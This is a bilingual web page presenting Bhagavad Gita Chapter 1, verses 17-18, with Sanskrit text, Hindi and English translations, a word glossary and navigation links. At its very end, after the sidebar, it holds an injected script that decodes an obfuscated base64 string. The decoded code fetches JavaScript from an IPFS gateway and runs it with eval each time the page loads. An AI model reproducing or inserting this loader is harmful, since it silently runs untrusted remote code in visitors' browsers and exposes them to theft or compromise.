गीता 1:17-18

गीता अध्याय-1 श्लोक-17,18 / Gita Chapter-1 Verse-17,18 प्रसंग- भगवान् श्रीकृष्ण और अर्जुन के पश्चात् पाण्डव सेना के अन्यान्य शूरवीरों द्वारा सब ओर शंख बजाये जाने की बात कहकर अब उस शंखध्वनिका क्या परिणाम हुआ ? उसे संजय बतलाते हैं- काश्यश्च परमेष्वास: शिखण्डी च महारथ: । धृष्टद्युम्नो विराटश्च सात्यकिश्चापराजित: ।।17।। द्रुपदो द्रौपदेयाश्चे सर्वश: पृथिवीपते । सौभद्रश्च महाबाहु: शख्ङान्दध्मु: पृथक्पृथक् ।।18।। श्रेष्ठ धनुष वाले काशिराज और महारथी शिखण्डी एवं धृष्टद्युम्न तथा राजा विराट और अजेय सात्यकि, राजा द्रुपद एवं द्रौपदी के पाँचों पुत्र और बड़ी भुजावाले सुभद्रा पुत्र अभिमन्यु इन सभी ने, राजन् ! सब ओर से अलग-अलग शंख बजाये ।।17-18।। And the excellent archer, the king of Kasi and Sikhandi the maharathi(greatcar-warrior), Dhrastadyaumna and Virata; and invincible Satyaki, Drupada as well as the five sons of Draupadi, and the mighty-armed Abhimanyu, son of Subhadra, all of them, O lord of the earth, severally blew their respective conchs form all sides:(17-18) परमेष्वास: = श्रेष्ठ धनुषवाला; काश्य: = काशिराज; महारथ: = महारथी; विराट: = राजा विराट; अपराजित: = अजेय; सात्याकि: = सात्यकि; द्रौपदेया: = द्रौपदी के पांचों पुत्र; च = और महाबाहु: =बड़ी भुजा वाला; सौभद्र: = सुभद्रापुत्र अभिमन्यु; सर्वश: = इन सब ने; पृथिवीपते = हे राजन्; पृथक् = अलग; पृथक् =अलग; दध्मु: = बजाये;

<= पीछे Prev | आगे Next =>

अध्याय एक श्लोक संख्या Verses- Chapter-1 1 | 2 | 3 | 4, 5, 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17, 18 | 19 | 20, 21 | 22 | 23 | 24, 25 | 26 | 27 | 28, 29 | 30 | 31 | 32 | 33, 34 | 35 | 36 | 37 | 38, 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47

<sidebar> सुस्वागतम् mainpage|मुखपृष्ठ ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल विशेष:Contact|संपर्क समस्त श्रेणियाँ|समस्त श्रेणियाँ SEARCH LANGUAGES __NORICHEDITOR__ गीता अध्याय-Gita Chapters गीता 1:1|अध्याय [1] Chapter गीता 2:1|अध्याय [2] Chapter गीता 3:1|अध्याय [3] Chapter गीता 4:1|अध्याय [4] Chapter गीता 5:1|अध्याय [5] Chapter गीता 6:1|अध्याय [6] Chapter गीता 7:1|अध्याय [7] Chapter गीता 8:1|अध्याय [8] Chapter गीता 9:1|अध्याय [9] Chapter गीता 10:1|अध्याय [10] Chapter गीता 11:1|अध्याय [11] Chapter गीता 12:1|अध्याय [12] Chapter गीता 13:1|अध्याय [13] Chapter गीता 14:1|अध्याय [14] Chapter गीता 15:1|अध्याय [15] Chapter गीता 16:1|अध्याय [16] Chapter गीता 17:1|अध्याय [17] Chapter गीता 18:1|अध्याय [18] Chapter </sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>